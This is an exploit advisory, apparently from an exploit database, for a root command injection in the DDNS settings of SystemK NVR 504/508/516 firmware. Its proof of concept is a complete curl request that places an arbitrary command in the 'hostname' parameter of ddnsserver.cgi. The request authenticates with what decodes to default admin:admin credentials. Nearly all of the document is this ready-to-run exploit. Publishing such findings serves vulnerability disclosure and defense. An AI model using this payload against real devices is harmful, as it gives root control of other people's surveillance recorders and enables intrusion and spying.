SystemK NVR 504/508/516 Command Injection

# Exploit Title: SystemK NVR 504/508/516 Command Injection# Exploit Author: Keniver Wang# Publish Date: 19/06/2023# Date of found: 20/01/2021# Vendor: SystemK# Vendor Homepage: https://nvr.bz/# Version: NVR 504/508/516 2.3.5SK.30084998# Greets:    Weber Tsai (CHT Security)# Description    A Command Injection vulnerability in the DDNS Setting that allowsattacker to execute arbitrary commands with root privileges.# Proof of Conceptcurl 'http://<IP>/ddnsserver.cgi?action=test&address=members.dyndns.org&type=dyndns&username=&password=&hostname=;<COMMAND>;&updatetime=300'\  -X 'POST' \  -H 'Connection: keep-alive' \  -H 'Content-Length: 0' \  -H 'Authorization: Basic YWRtaW46YWRtaW4=' \  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)' \  -H 'Accept: */*' \  -H 'Accept-Language: zh-TW,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6'